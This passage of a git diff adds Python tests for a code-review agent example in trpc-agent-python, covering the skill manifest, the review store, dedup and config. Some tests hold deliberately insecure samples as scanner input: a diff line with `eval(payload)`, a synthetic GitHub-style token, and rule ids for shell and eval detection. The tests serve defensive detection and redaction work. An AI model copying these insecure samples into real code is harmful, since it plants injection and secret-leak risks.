contains_plaintext_secret(json.dumps(bundle, ensure_ascii=False, sort_keys=True)) + finally: + store.close() + container_client._cleanup_container() diff --git a/examples/skills_code_review_agent/tests/integration/test_skill_scripts.py b/examples/skills_code_review_agent/tests/integration/test_skill_scripts.py new file mode 100644 index 000000000..7e8c9633c --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_skill_scripts.py @@ -0,0 +1,225 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for the A9 code-review Skill entry scripts.""" + +from __future__ import annotations + +import json +import subprocess +import sys +from pathlib import Path + +from examples.skills_code_review_agent.code_review.skill_integrity import ( + canonical_source_sha256, +) + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SKILL_ROOT = PROJECT_ROOT / "skills" / "code-review" +SCRIPTS_ROOT = SKILL_ROOT / "scripts" +MANIFEST_PATH = SCRIPTS_ROOT / "manifest.json" +RULES_ROOT = SKILL_ROOT / "rules" +REQUIRED_FINDING_FIELDS = { + "severity", + "category", + "file", + "line", + "title", + "evidence", + "recommendation", + "confidence", + "source", +} + + +def _manifest() -> dict[str, object]: + """读取测试目标 Skill 的执行 manifest。""" + + return json.loads(MANIFEST_PATH.read_text(encoding="utf-8")) + + +def _script_entry(manifest: dict[str, object], script_id: str) -> dict[str, object]: + """按 script_id 返回一条已注册脚本定义。""" + + scripts = manifest["scripts"] + assert isinstance(scripts, list) + return next(entry for entry in scripts if entry["script_id"] == script_id) + + +def test_skill_documents_declare_workflow_capabilities_and_blind_spots() -> None: + skill_text = (SKILL_ROOT / "SKILL.md").read_text(encoding="utf-8") + assert skill_text.startswith("---\nname: code-review\n") + assert "description:" in skill_text.split("---", 2)[1] + assert "scripts/manifest.json" in skill_text + assert "## Inputs" in skill_text + assert "## Review process" in skill_text + assert "## Completion gate" in skill_text + assert skill_text.count("**Complete when:**") == 6 + assert "read `references/security-boundaries.md` before" in " ".join( + skill_text.split() + ) + + rule_ids = { + "security.md": ( + "security.sql-fstring", + "security.subprocess-shell-true", + "security.dynamic-eval", + "security.dynamic-exec", + "security.os-system", + ), + "async-errors.md": ( + "async.blocking-time-sleep", + "async.unawaited-coroutine", + ), + "resource-leak.md": ( + "resource.open-without-close", + "resource.client-session-without-close", + ), + "missing-tests.md": ("tests.missing-coverage",), + "secrets.md": ("secrets.",), + "db-lifecycle.md": ( + "db.connection-without-close", + "db.transaction-without-finalize", + ), + } + for rule_name, expected_ids in rule_ids.items(): + rule_text = (RULES_ROOT / rule_name).read_text(encoding="utf-8").lower() + assert "## detection contract" in rule_text + assert "## scope and confidence" in rule_text + assert "## examples" in rule_text + assert "## remediation" in rule_text + assert "## blind spots" in rule_text + assert "### reports" in rule_text + assert "### stays quiet" in rule_text + assert all(rule_id in rule_text for rule_id in expected_ids) + + boundaries = (SKILL_ROOT / "references" / "security-boundaries.md").read_text( + encoding="utf-8" + ).lower() + assert "## boundary map" in boundaries + assert "## filter decision order" in boundaries + assert "## runtime policy" in boundaries + assert "## data handling" in boundaries + assert "## failure semantics" in boundaries + assert "## completion checklist" in boundaries + assert "network policy is deny" in boundaries + assert "sandbox output redaction" in boundaries + assert "host field redaction" in boundaries + assert "complete exit scan" in boundaries + + +def test_manifest_has_hashed_local_entries_and_fixed_budgets() -> None: + manifest = _manifest() + + assert manifest["schema_version"] == "1.0.0" + assert manifest["skill_name"] == "code-review" + assert {entry["script_id"] for entry in manifest["scripts"]} == { + "parse_diff", + "run_checks", + } + for entry in manifest["scripts"]: + assert set(entry) >= { + "script_id", + "entrypoint", + "sha256", + "files", + "arguments", + "timeout_seconds", + "max_output_bytes", + "requires_network", + } + entrypoint = (SCRIPTS_ROOT / entry["entrypoint"]).resolve() + assert entrypoint.is_file() + assert entrypoint.parent == SCRIPTS_ROOT.resolve() + assert entry["sha256"] == canonical_source_sha256(entrypoint.read_bytes()) + integrity_files = entry["files"] + assert isinstance(integrity_files, list) + expected_paths = { + path.relative_to(SCRIPTS_ROOT).as_posix() + for path in SCRIPTS_ROOT.rglob("*.py") + } + assert {item["path"] for item in integrity_files} == expected_paths + for item in integrity_files: + source_path = (SCRIPTS_ROOT / item["path"]).resolve() + source_path.relative_to(SCRIPTS_ROOT.resolve()) + assert item["sha256"] == canonical_source_sha256(source_path.read_bytes()) + assert entry["timeout_seconds"] == 30 + assert entry["max_output_bytes"] == 1024 * 1024 + assert entry["requires_network"] is False + assert entry["arguments"] == { + "type": "object", + "additional_properties": False, + "properties": {}, + } + + +def test_manifest_hash_is_stable_across_lf_and_crlf_checkouts() -> None: + """验证 manifest 摘要不会因 Windows Git 换行转换而漂移。""" + + source = b"from __future__ import annotations\n\nvalue = 1\n" + + assert canonical_source_sha256(source) == canonical_source_sha256( + source.replace(b"\n", b"\r\n") + ) + + +def test_registered_scripts_emit_sanitized_summary_and_findings(tmp_path: Path) -> None: + workdir = tmp_path / "workspace" + input_dir = workdir / "work" / "inputs" + input_dir.mkdir(parents=True) + token = "gh" + "p_" + ("a" * 36) + diff = "\n".join( + [ + "diff --git a/src/service.py b/src/service.py", + "new file mode 100644", + "--- /dev/null", + "+++ b/src/service.py", + "@@ -0,0 +1,2 @@", + "+value = eval(payload)", + f'+token = "{token}"', + ] + ) + (input_dir / "diff.json").write_text( + json.dumps({"source_kind": "diff_file", "diff": diff}), + encoding="utf-8", + ) + manifest = _manifest() + + for script_id in ("parse_diff", "run_checks"): + entry = _script_entry(manifest, script_id) + completed = subprocess.run( + [sys.executable, str(SCRIPTS_ROOT / entry["entrypoint"])], + cwd=workdir, + check=False, + capture_output=True, + text=True, + ) + assert completed.returncode == 0, completed.stderr + assert token not in completed.stdout + assert token not in completed.stderr + + parsed = (workdir / "out" / "parsed.json").read_text(encoding="utf-8") + findings_text = (workdir / "out" / "findings.json").read_text(encoding="utf-8") + assert token not in parsed + assert token not in findings_text + + findings_payload = json.loads(findings_text) + assert findings_payload["schema_version"] == "1.0.0" + assert findings_payload["finding_count"] >= 2 + assert all( + REQUIRED_FINDING_FIELDS <= set(finding) + for finding in findings_payload["findings"] + ) + assert any( + finding["category"] == "secrets" for finding in findings_payload["findings"] + ) + assert all( + "[REDACTED:" in finding["evidence"] or "token" not in finding["evidence"] + for finding in findings_payload["findings"] + ) diff --git a/examples/skills_code_review_agent/tests/integration/test_store.py b/examples/skills_code_review_agent/tests/integration/test_store.py new file mode 100644 index 000000000..547ecf689 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_store.py @@ -0,0 +1,270 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for the B1 SQLAlchemy review store.""" + +from __future__ import annotations + +import json +import subprocess +import sys +from pathlib import Path + +from sqlalchemy import create_engine, inspect + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.store import ReviewStore, SqlReviewStore, init_db # noqa: E402 +from code_review.store.models import Base # noqa: E402 + + +SCHEMA_VERSION = "1.0.0" +TASK_ID = "task-store-001" + + +def _db_url(path: Path) -> str: + return f"sqlite+pysqlite:///{path.as_posix()}" + + +def _task_payload(secret: str) -> dict[str, object]: + return { + "id": TASK_ID, + "status": "running", + "input_type": "diff_file", + "input_ref": "changes.diff", + "diff_summary": { + "input_sha256": "a" * 64, + "byte_count": 123, + "file_count": 1, + "hunk_count": 1, + "additions": 1, + "deletions": 0, + "review_scopes": {"changed_lines": 1}, + "files": ["src/app.py"], + }, + "config": { + "schema_version": SCHEMA_VERSION, + "rule_pack_version": "1.0.0", + "config_digest": "b" * 64, + "note": secret, + }, + } + + +def _finding_payload(secret: str) -> dict[str, object]: + return { + "severity": "high", + "category": "security", + "file": "src/app.py", + "line": 8, + "title": "Avoid dynamic evaluation", + "evidence": secret, + "recommendation": "Use a typed parser.", + "confidence": 0.92, + "source": "ast", + "rule_id": "security.dynamic-eval", + "bucket": "findings", + "dedup_key": "src/app.py:8:security", + "extra": {"line_side": "new"}, + } + + +def _report_payload(secret: str) -> dict[str, object]: + return { + "task_id": TASK_ID, + "schema_version": SCHEMA_VERSION, + "rule_pack_version": "1.0.0", + "config_digest": "b" * 64, + "input_sha256": "a" * 64, + "status": "completed_with_warnings", + "summary": {"text": secret}, + "severity_stats": {"high": 1}, + "filter_summary": {"allow_count": 1, "deny_count": 0}, + "sandbox_summary": {"runtime_type": "local", "run_count": 1}, + "metrics": {"total_duration_ms": 25}, + "report": { + "schema_version": SCHEMA_VERSION, + "task_id": TASK_ID, + "final_conclusion": {"summary": secret}, + }, + } + + +def test_models_create_exactly_five_tables_and_required_indexes(tmp_path: Path) -> None: + store = SqlReviewStore(_db_url(tmp_path / "schema.db")) + store.initialize() + + inspector = inspect(store.engine) + assert set(inspector.get_table_names()) == { + "cr_review_task", + "cr_sandbox_run", + "cr_filter_event", + "cr_finding", + "cr_report", + } + assert set(Base.metadata.tables) == set(inspector.get_table_names()) + + indexed_columns = { + table: { + tuple(index["column_names"]) + for index in inspector.get_indexes(table) + } + for table in inspector.get_table_names() + } + assert ("status",) in indexed_columns["cr_review_task"] + assert ("task_id",) in indexed_columns["cr_sandbox_run"] + assert ("task_id",) in indexed_columns["cr_filter_event"] + assert ("action",) in indexed_columns["cr_filter_event"] + assert ("task_id",) in indexed_columns["cr_finding"] + assert ("severity",) in indexed_columns["cr_finding"] + assert ("category",) in indexed_columns["cr_finding"] + assert ("task_id",) in indexed_columns["cr_report"] + + store.close() + + +def test_store_crud_bundle_versions_and_redaction(tmp_path: Path) -> None: + database = tmp_path / "review.db" + secret = "password=" + "synthetic-store-secret" + store: ReviewStore = SqlReviewStore(_db_url(database)) + + store.initialize() + task = store.create_task(_task_payload(secret)) + assert task["status"] == "running" + + run = store.add_sandbox_run( + TASK_ID, + { + "status": "failed", + "exit_code": 7, + "timed_out": False, + "filter_action": "allow", + "stdout_excerpt": secret, + "stderr_excerpt": "checker failed", + "error_type": "nonzero_exit", + "duration_ms": 25, + }, + ) + event = store.add_filter_event( + TASK_ID, + { + "stage": "pre_execution", + "target": "run_checks", + "action": "allow", + "rule": "manifest", + "reasons": [secret], + }, + ) + finding = store.add_finding(TASK_ID, _finding_payload(secret)) + report = store.save_report(TASK_ID, _report_payload(secret)) + updated = store.update_task( + TASK_ID, + status="completed_with_warnings", + error_type="sandbox_failure", + error_message=secret, + ) + + assert updated["status"] == "completed_with_warnings" + assert run["id"] > 0 + assert event["id"] > 0 + assert finding["id"] > 0 + assert report["task_id"] == TASK_ID + + bundle = store.get_task_bundle(TASK_ID) + assert bundle is not None + assert bundle["task"]["id"] == TASK_ID + assert len(bundle["sandbox_runs"]) == 1 + assert len(bundle["filter_events"]) == 1 + assert len(bundle["findings"]) == 1 + assert bundle["report"]["schema_version"] == SCHEMA_VERSION + assert bundle["report"]["rule_pack_version"] == "1.0.0" + assert bundle["report"]["config_digest"] == "b" * 64 + assert bundle["report"]["input_sha256"] == "a" * 64 + + json_columns = ( + bundle["task"]["diff_summary"], + bundle["task"]["config"], + bundle["filter_events"][0]["reasons"], + bundle["findings"][0]["extra"], + bundle["report"]["summary"], + bundle["report"]["severity_stats"], + bundle["report"]["filter_summary"], + bundle["report"]["sandbox_summary"], + bundle["report"]["metrics"], + bundle["report"]["report"], + ) + assert all(value["schema_version"] == SCHEMA_VERSION for value in json_columns) + assert secret not in json.dumps(bundle, sort_keys=True) + assert secret.encode("utf-8") not in database.read_bytes() + + deleted = store.delete_task(TASK_ID) + assert deleted is True + assert store.get_task_bundle(TASK_ID) is None + assert store.delete_task(TASK_ID) is False + store.close() + + +def test_init_db_is_idempotent_and_sql_url_isolated(tmp_path: Path) -> None: + first_database = tmp_path / "first.db" + second_database = tmp_path / "second.db" + first_url = _db_url(first_database) + second_url = _db_url(second_database) + + init_db(first_url) + first_store = SqlReviewStore(first_url) + first_store.initialize() + first_store.create_task(_task_payload("safe")) + first_store.close() + + init_db(first_url) + reopened = SqlReviewStore(first_url) + reopened.initialize() + assert reopened.get_task_bundle(TASK_ID) is not None + reopened.close() + + init_db(second_url) + isolated = SqlReviewStore(second_url) + isolated.initialize() + assert isolated.get_task_bundle(TASK_ID) is None + isolated.close() + + +def test_init_db_module_cli_creates_all_business_tables(tmp_path: Path) -> None: + """验证独立模块 CLI 使用指定 URL 初始化完整的五张业务表。""" + + database = tmp_path / "module-init.db" + completed = subprocess.run( + [ + sys.executable, + "-m", + "code_review.store.init_db", + "--db-url", + _db_url(database), + ], + cwd=PROJECT_ROOT, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=30, + ) + + assert completed.returncode == 0, completed.stderr + engine = create_engine(_db_url(database)) + try: + assert set(inspect(engine).get_table_names()) == { + "cr_filter_event", + "cr_finding", + "cr_report", + "cr_review_task", + "cr_sandbox_run", + } + finally: + engine.dispose() diff --git a/examples/skills_code_review_agent/tests/support/.gitkeep b/examples/skills_code_review_agent/tests/support/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/skills_code_review_agent/tests/support/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/skills_code_review_agent/tests/unit/test_agent_tools.py b/examples/skills_code_review_agent/tests/unit/test_agent_tools.py new file mode 100644 index 000000000..ed1c8402c --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_agent_tools.py @@ -0,0 +1,207 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""受控 Agent Skill 工具边界的单元测试。""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncGenerator, Iterator +from contextlib import contextmanager +from pathlib import Path +import sys +from typing import Any + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from agent.tools import ControlledSkillRunTool, ReviewRequestRegistry +from trpc_agent_sdk.agents import BaseAgent +from trpc_agent_sdk.context import InvocationContext, create_agent_context +from trpc_agent_sdk.events import Event +from trpc_agent_sdk.sessions import InMemorySessionService +from trpc_agent_sdk.skills import loaded_state_key + + +class _StubAgent(BaseAgent): + """提供构造 InvocationContext 所需的最小 Agent。""" + + async def _run_async_impl( + self, + ctx: InvocationContext, + ) -> AsyncGenerator[Event, None]: + """保持空事件流,因为工具单测不会执行 Agent 对话。""" + + del ctx + if False: + yield + + +class _RecordingPipeline: + """记录公开 run 调用,并返回固定的脱敏报告摘要。""" + + def __init__(self, *, error: Exception | None = None) -> None: + """保存可选异常和调用记录,供副作用断言使用。""" + + self.error = error + self.calls: list[dict[str, Any]] = [] + + def run(self, **options: Any) -> dict[str, Any]: + """记录调用;配置异常时抛出,否则返回固定 canonical 摘要。""" + + self.calls.append(options) + if self.error is not None: + raise self.error + return { + "status": "completed", + "task_id": "review-safe-task", + "findings": [{"category": "security"}], + "needs_human_review": [{"category": "tests"}], + "warnings": [{"code": "local_runtime"}], + } + + +class _RecordingBinder: + """记录 Agent workspace 绑定上下文的进入和退出。""" + + def __init__(self) -> None: + """初始化绑定生命周期计数。""" + + self.enter_count = 0 + self.exit_count = 0 + + @contextmanager + def bind_agent_workspace( + self, + workspace_id: str, + context: InvocationContext, + ) -> Iterator[None]: + """在受控调用期间记录 workspace 上下文生命周期。""" + + assert workspace_id == context.session_id + self.enter_count += 1 + try: + yield + finally: + self.exit_count += 1 + + +def _invocation_context(*, skill_loaded: bool = True) -> InvocationContext: + """构造隔离的 SDK 调用上下文,并按需标记 code-review Skill 已加载。""" + + service = InMemorySessionService() + session = asyncio.run( + service.create_session( + app_name="agent-tools-test", + user_id="user-1", + session_id="session-1", + ) + ) + agent = _StubAgent(name="code_review_agent") + context = InvocationContext( + session_service=service, + invocation_id="invocation-1", + agent=agent, + agent_context=create_agent_context(), + session=session, + ) + if skill_loaded: + context.actions.state_delta[loaded_state_key(context, "code-review")] = True + return context + + +def test_controlled_skill_run_consumes_each_request_only_once() -> None: + """验证同一 request id 重放时不会再次调用 Pipeline。""" + + pipeline = _RecordingPipeline() + registry = ReviewRequestRegistry() + request_id = registry.register({"fixture": "01_clean_simple"}) + tool = ControlledSkillRunTool(pipeline=pipeline, requests=registry) + context = _invocation_context() + + first = asyncio.run( + tool.run_async( + tool_context=context, + args={"review_request_id": request_id}, + ) + ) + replay = asyncio.run( + tool.run_async( + tool_context=context, + args={"review_request_id": request_id}, + ) + ) + + assert first == { + "status": "completed", + "task_id": "review-safe-task", + "finding_count": 1, + "needs_human_review_count": 1, + "warning_count": 1, + } + assert replay == { + "status": "blocked", + "error": "review_request_invalid_or_reused", + } + assert len(pipeline.calls) == 1 + assert pipeline.calls[0]["entrypoint_tool_call_count"] == 2 + + +def test_controlled_skill_run_sanitizes_pipeline_failures() -> None: + """验证 Pipeline 异常只返回固定错误码,不泄露异常正文。""" + + secret_text = "synthetic-password-must-not-leak" + pipeline = _RecordingPipeline(error=RuntimeError(secret_text)) + registry = ReviewRequestRegistry() + request_id = registry.register({"fixture": "02_security_simple"}) + tool = ControlledSkillRunTool(pipeline=pipeline, requests=registry) + + result = asyncio.run( + tool.run_async( + tool_context=_invocation_context(), + args={"review_request_id": request_id}, + ) + ) + outcome, error = registry.outcome(request_id) + + assert result == { + "status": "failed", + "error": "review_pipeline_failed", + } + assert outcome is None + assert error == "review_pipeline_failed" + assert secret_text not in repr(result) + assert secret_text not in error + + +def test_controlled_skill_run_scopes_workspace_binding_to_one_call() -> None: + """验证 workspace binder 在 Pipeline 调用前进入,并在结束后退出。""" + + pipeline = _RecordingPipeline() + binder = _RecordingBinder() + registry = ReviewRequestRegistry() + request_id = registry.register({"fixture": "01_clean_simple"}) + tool = ControlledSkillRunTool( + pipeline=pipeline, + requests=registry, + workspace_binder=binder, + ) + + result = asyncio.run( + tool.run_async( + tool_context=_invocation_context(), + args={"review_request_id": request_id}, + ) + ) + + assert result["status"] == "completed" + assert binder.enter_count == 1 + assert binder.exit_count == 1 + assert len(pipeline.calls) == 1 diff --git a/examples/skills_code_review_agent/tests/unit/test_chinese_docstrings.py b/examples/skills_code_review_agent/tests/unit/test_chinese_docstrings.py new file mode 100644 index 000000000..cc8353b00 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_chinese_docstrings.py @@ -0,0 +1,48 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""验证项目生产代码的函数级中文说明约定。""" + +from __future__ import annotations + +import ast +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] + + +def _functions_without_chinese_docstrings(path: Path) -> list[str]: + """返回指定生产源码中缺少中文函数说明的函数位置。""" + + tree = ast.parse(path.read_text(encoding="utf-8")) + missing: list[str] = [] + for node in ast.walk(tree): + if not isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + continue + docstring = ast.get_docstring(node, clean=False) or "" + if not any("\u4e00" <= character <= "\u9fff" for character in docstring): + missing.append(f"{path.relative_to(PROJECT_ROOT)}:{node.lineno}:{node.name}") + return missing + + +def test_all_product_functions_have_chinese_docstrings() -> None: + """要求产品代码和随 Skill 分发的脚本均提供中文函数级说明。""" + + source_files = sorted( + path + for path in PROJECT_ROOT.rglob("*.py") + if "tests" not in path.parts and "__pycache__" not in path.parts + ) + missing = [ + location + for source_file in source_files + for location in _functions_without_chinese_docstrings(source_file) + ] + + assert not missing, "missing_chinese_docstrings:\n" + "\n".join(missing) diff --git a/examples/skills_code_review_agent/tests/unit/test_config.py b/examples/skills_code_review_agent/tests/unit/test_config.py new file mode 100644 index 000000000..986649001 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_config.py @@ -0,0 +1,155 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +import json +from pathlib import Path + +import pytest + +from examples.skills_code_review_agent.code_review.config import ReviewConfig + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] + + +def test_review_config_defaults_match_locked_spec() -> None: + config = ReviewConfig() + + assert config.max_input_file_bytes == 1024 * 1024 + assert config.max_input_files == 500 + assert config.max_input_bytes == 10 * 1024 * 1024 + assert config.max_diff_lines == 50_000 + assert config.max_sandbox_runs == 10 + assert config.per_run_timeout_seconds == 30 + assert config.sandbox_time_budget_seconds == 90 + assert config.review_deadline_seconds == 110 + assert config.max_output_bytes_per_run == 1024 * 1024 + assert config.max_output_bytes_per_review == 2 * 1024 * 1024 + assert config.network_policy == "deny" + assert config.schema_version == "1.0.0" + assert config.rule_pack_version == "1.0.0" + + +def test_review_config_supports_typed_environment_overrides() -> None: + config = ReviewConfig.from_env( + { + "CODE_REVIEW_MAX_INPUT_FILES": "24", + "CODE_REVIEW_PER_RUN_TIMEOUT_SECONDS": "12", + "CODE_REVIEW_SCHEMA_VERSION": "1.1.0", + } + ) + + assert config.max_input_files == 24 + assert config.per_run_timeout_seconds == 12 + assert config.schema_version == "1.1.0" + + +def test_review_config_rejects_invalid_environment_values() -> None: + with pytest.raises(ValueError, match="CODE_REVIEW_MAX_INPUT_FILES"): + ReviewConfig.from_env({"CODE_REVIEW_MAX_INPUT_FILES": "many"}) + + with pytest.raises(ValueError, match="max_input_files"): + ReviewConfig(max_input_files=0) + + +def test_config_digest_is_stable_and_sensitive_to_values() -> None: + first = ReviewConfig.from_env( + { + "CODE_REVIEW_MAX_INPUT_FILES": "24", + "CODE_REVIEW_PER_RUN_TIMEOUT_SECONDS": "12", + } + ) + reordered = ReviewConfig.from_env( + { + "CODE_REVIEW_PER_RUN_TIMEOUT_SECONDS": "12", + "CODE_REVIEW_MAX_INPUT_FILES": "24", + } + ) + changed = ReviewConfig(max_input_files=25, per_run_timeout_seconds=12) + + assert first.config_digest == reordered.config_digest + assert len(first.config_digest) == 64 + assert first.config_digest != changed.config_digest + assert first.to_dict()["config_digest"] == first.config_digest + + +def test_report_schema_is_valid_json_schema_document() -> None: + schema_path = PROJECT_ROOT / "schemas" / "review_report.schema.json" + schema = json.loads(schema_path.read_text(encoding="utf-8")) + + assert schema["$schema"] == "https://json-schema.org/draft/2020-12/schema" + assert schema["type"] == "object" + assert schema["additionalProperties"] is False + assert { + "schema_version", + "rule_pack_version", + "config_digest", + "input_sha256", + "task_id", + "input_summary", + "findings", + "needs_human_review", + "warnings", + "suppressed", + "filter_summary", + "sandbox_summary", + "metrics", + "final_conclusion", + } <= set(schema["required"]) + + +def test_architecture_skeleton_is_present() -> None: + expected_modules = { + "run_agent.py", + "evaluate.py", + "agent/__init__.py", + "agent/agent.py", + "agent/prompts.py", + "code_review/__init__.py", + "code_review/config.py", + "code_review/pipeline.py", + "code_review/inputs.py", + "code_review/governance.py", + "code_review/sandbox.py", + "code_review/redaction.py", + "code_review/dedup.py", + "code_review/llm_enhancer.py", + "code_review/report.py", + "code_review/metrics.py", + "code_review/store/__init__.py", + "code_review/store/models.py", + "code_review/store/review_store.py", + "code_review/store/init_db.py", + "skills/code-review/scripts/parse_diff.py", + "skills/code-review/scripts/run_checks.py", + "skills/code-review/scripts/lib/__init__.py", + "skills/code-review/scripts/lib/diff_parser.py", + "skills/code-review/scripts/lib/rule_engine.py", + "skills/code-review/scripts/lib/rules_security.py", + "skills/code-review/scripts/lib/rules_async.py", + "skills/code-review/scripts/lib/rules_resource.py", + "skills/code-review/scripts/lib/rules_db.py", + "skills/code-review/scripts/lib/rules_tests.py", + "skills/code-review/scripts/lib/secret_rules.py", + } + expected_directories = { + "sample_output", + "skills/code-review/references", + "skills/code-review/rules", + "tests/e2e", + "tests/fixtures/corpus", + "tests/fixtures/diffs", + "tests/integration", + "tests/support", + "tests/unit", + } + + assert Path(__file__).parent.name == "unit" + assert not (PROJECT_ROOT / "fixtures").exists() + assert not [path for path in expected_modules if not (PROJECT_ROOT / path).is_file()] + assert not [path for path in expected_directories if not (PROJECT_ROOT / path).is_dir()] diff --git a/examples/skills_code_review_agent/tests/unit/test_dedup.py b/examples/skills_code_review_agent/tests/unit/test_dedup.py new file mode 100644 index 000000000..21b3e4633 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_dedup.py @@ -0,0 +1,236 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Unit tests for stable finding deduplication and four-bucket routing.""" + +from __future__ import annotations + +import itertools +import json +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.dedup import ( # noqa: E402 + FindingBucket, + bucket_for_confidence, + deduplicate_findings, + route_findings, +) + + +def _candidate(**overrides: Any) -> dict[str, Any]: + candidate: dict[str, Any] = { + "severity": "high", + "category": "security", + "file": "src/app.py", + "line": 8, + "title": "Avoid dynamic evaluation", + "evidence": "eval(payload)", + "recommendation": "Use a typed parser.", + "confidence": 0.85, + "source": "rule-engine", + "line_side": "new", + "rule_id": "security.dynamic-eval", + } + candidate.update(overrides) + return candidate + + +def _stable_json(value: Any) -> str: + if hasattr(value, "to_dict"): + value = value.to_dict() + return json.dumps(value, ensure_ascii=False, sort_keys=True) + + +def test_dedup_key_is_file_line_category_and_severity_wins_first() -> None: + candidates = [ + _candidate( + severity="high", + confidence=0.99, + rule_id="security.regex", + ), + _candidate( + severity="critical", + confidence=0.81, + rule_id="security.ast", + source="ast", + ), + ] + + result = deduplicate_findings(candidates) + + assert len(result) == 1 + assert result[0]["rule_id"] == "security.ast" + assert result[0]["dedup_key"] == "src/app.py:8:security" + assert result[0]["extra"]["also_matched"] == ["security.regex"] + + +def test_confidence_then_evidence_specificity_selects_primary() -> None: + confidence_winner = deduplicate_findings( + [ + _candidate(confidence=0.82, rule_id="security.low-confidence"), + _candidate(confidence=0.91, rule_id="security.high-confidence"), + ] + ) + evidence_winner = deduplicate_findings( + [ + _candidate( + evidence="eval call", + rule_id="security.generic-evidence", + ), + _candidate( + evidence="result = eval(untrusted_payload)", + rule_id="security.specific-evidence", + ), + ] + ) + + assert confidence_winner[0]["rule_id"] == "security.high-confidence" + assert evidence_winner[0]["rule_id"] == "security.specific-evidence" + + +def test_also_matched_is_unique_sorted_and_preserves_primary_extra() -> None: + candidates = [ + _candidate( + rule_id="security.primary", + source="ast", + confidence=0.92, + extra={ + "line_side_note": "changed", + "also_matched": [ + "security.previous", + "security.secondary", + ], + }, + ), + _candidate(rule_id="security.secondary"), + _candidate(rule_id="security.tertiary"), + _candidate(rule_id="security.secondary"), + ] + + result = deduplicate_findings(candidates) + + assert result[0]["extra"] == { + "line_side_note": "changed", + "also_matched": [ + "security.previous", + "security.secondary", + "security.tertiary", + ], + } + + +def test_candidate_order_cannot_change_canonical_json() -> None: + candidates = [ + _candidate(rule_id="security.zeta", confidence=0.82), + _candidate(rule_id="security.alpha", confidence=0.82), + _candidate( + file="src/worker.py", + line=3, + category="async-errors", + severity="medium", + confidence=0.76, + rule_id="async.unawaited-coroutine", + ), + ] + + outputs = { + _stable_json(route_findings(permutation)) + for permutation in itertools.permutations(candidates) + } + + assert len(outputs) == 1 + + +def test_exact_priority_ties_use_canonical_content_as_tiebreaker() -> None: + candidates = [ + _candidate( + evidence="eval(alpha)", + rule_id="security.same-rule", + extra={"origin": "regex"}, + ), + _candidate( + evidence="eval(bravo)", + rule_id="security.same-rule", + extra={"origin": "syntax"}, + ), + ] + + forward = _stable_json(deduplicate_findings(candidates)) + reverse = _stable_json(deduplicate_findings(reversed(candidates))) + + assert forward == reverse + + +def test_bucket_boundaries_are_exhaustive_and_non_overlapping() -> None: + confidences = [0.0, 0.49, 0.50, 0.79, 0.80, 1.0] + + assert [bucket_for_confidence(value) for value in confidences] == [ + FindingBucket.SUPPRESSED, + FindingBucket.SUPPRESSED, + FindingBucket.NEEDS_HUMAN_REVIEW, + FindingBucket.NEEDS_HUMAN_REVIEW, + FindingBucket.FINDINGS, + FindingBucket.FINDINGS, + ] + + result = route_findings( + [ + _candidate(file=f"src/{index}.py", confidence=confidence) + for index, confidence in enumerate(confidences) + ] + ) + assert len(result.findings) == 2 + assert len(result.needs_human_review) == 2 + assert len(result.suppressed) == 2 + + +def test_severity_never_raises_confidence_bucket_and_warnings_are_separate() -> None: + result = route_findings( + [ + _candidate( + severity="critical", + confidence=0.2, + category="runtime-warning", + ) + ], + warnings=[ + { + "code": "sandbox_timeout", + "message": "The registered check timed out.", + "stage": "sandbox", + } + ], + ) + + assert result.findings == () + assert result.needs_human_review == () + assert len(result.suppressed) == 1 + assert result.suppressed[0]["bucket"] == "suppressed" + assert result.warnings == ( + { + "code": "sandbox_timeout", + "message": "The registered check timed out.", + "stage": "sandbox", + }, + ) + + +def test_invalid_confidence_and_finding_shaped_warning_are_rejected() -> None: + with pytest.raises(ValueError, match="confidence"): + bucket_for_confidence(1.01) + + with pytest.raises(ValueError, match="runtime warning"): + route_findings([], warnings=[_candidate()]) diff --git a/examples/skills_code_review_agent/tests/unit/test_diff_parser.py b/examples/skills_code_review_agent/tests/unit/test_diff_parser.py new file mode 100644 index 000000000..8977c4ba1 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_diff_parser.py @@ -0,0 +1,331 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights 